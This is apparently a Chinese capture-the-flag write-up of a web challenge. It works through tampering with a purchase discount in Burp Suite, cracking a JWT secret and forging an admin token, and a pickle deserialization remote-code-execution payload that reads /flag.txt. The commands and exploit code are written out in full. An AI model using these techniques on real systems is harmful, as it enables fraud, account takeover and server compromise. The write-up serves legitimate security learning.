根据页面提示,要买到lv6,使用burpsuite跑一下,最后在181页找到lv6的账号
    image.png
    但是点击购买后发现买不了
    image.png
    burpsuite继续抓包,发现有个discount,将其修改为足够小的值,发送,购买成功。
    重定向到一个网页,但是提示只有admin才能进
    image.png
    在cookie中还看到了JWT,JWT是一种token,其内容分为三部分:

    • Header(头部)
    • Payload(负载)
    • Signature(签名)

    将其编码后就是以下这种形式:
    image.png
    其中header和payload都是可以直接解码获得的,而signature则需要破解,用到两个工具:

    • c-jwt-cracker:用于破解secret
    • jwt_tool:重新生成jwt

    破解secret:

    1. jwtcrack eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InVzZXIifQ.wqQtaZkkaqIP3wUrWnh6RhI71k6pvWQwaUD6uT5mT4U

    生成新jwt:

    1. jwt_tool eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InVzZXIifQ.wqQtaZkkaqIP3wUrWnh6RhI71k6pvWQwaUD6uT5mT4U -T -S hs256 -p 1Kun

    利用新生成的jwt替换掉cookie中的jwt之后,刷新页面,在其源码中找到备份源码
    image.png
    根据题目提示pickle,再加上审计源码,在Admin.py中找到反序列化:

    1. class AdminHandler(BaseHandler):
    2. @tornado.web.authenticated
    3. def get(self, *args, **kwargs):
    4. if self.current_user == "admin":
    5. return self.render('form.html', res='This is Black Technology!', member=0)
    6. else:
    7. return self.render('no_ass.html')
    8. @tornado.web.authenticated
    9. def post(self, *args, **kwargs):
    10. try:
    11. become = self.get_argument('become')
    12. p = pickle.loads(urllib.unquote(become))
    13. return self.render('form.html', res=p, member=1)
    14. except:
    15. return self.render('form.html', res='This is Black Technology!', member=0)

    程序将become参数的值进行反序列化,接着传到form.html的{{res}}处。
    去网上查了下反序列化的payload,直接拿过来用:

    1. import pickle
    2. import urllib
    3. import os
    4. class A(object):
    5. def __reduce__(self):
    6. cmd = "__import__('os').popen('cat /flag.txt').read()"
    7. return (eval, (cmd,))
    8. a = A()
    9. b = pickle.dumps(a)
    10. print(urllib.quote(b))

    因为system会返回0,所以直接用SSTI的那一套就可以。
    需要注意的一点是不能只传一个become参数,还需要带上_xsrf参数,参数的值在网页源码中。